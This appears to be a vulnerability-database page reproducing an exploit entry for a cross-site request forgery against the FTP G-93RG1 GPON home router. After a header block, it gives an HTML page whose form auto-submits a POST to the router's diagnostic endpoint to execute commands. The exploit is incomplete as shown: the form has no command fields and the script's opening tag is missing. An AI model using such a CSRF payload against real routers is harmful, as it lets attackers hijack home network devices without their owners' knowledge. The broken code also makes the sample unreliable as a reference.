发布 2015-09-02 漏洞条目

GPON Home Router FTP G-93RG1 – Cross-Site Request Forgery / Command Execution

Exploit Source

<!--

######################################################################

# Exploit Title: GPON Home CSRF With Command ExecuteVulnerability

# Author: Phan Thanh Duy (logicaway) - KAISAI12 (ceh.vn)

# E-mail:(facebook https://www.facebook.com/duy.phanthanh.75),(

https://www.facebook.com/kai.sai.35)

# Category: Hardware

# Google Dork: N/A

# Vendor: FTP Viet Nam

# Firmware Version: 3.0.0 Build 120531

# Product: FTP G-93RG1

# Tested on: Windows 8 64-bit

######################################################################

#Introduction

==============

#Description of Vulnerability

=============================

Execute command with CSRF

#Exploit

========

-->

<html>

<head>

<title>CSRF Demo Exploit</title>

</head>

<body>

<form name="auto" method="POST"

action="http://192.168.1.1/GponForm/diag_XForm"

enctype="multipart/form-data">

</form>

document.auto.submit();

</script>

</body>

</html>

相关漏洞条目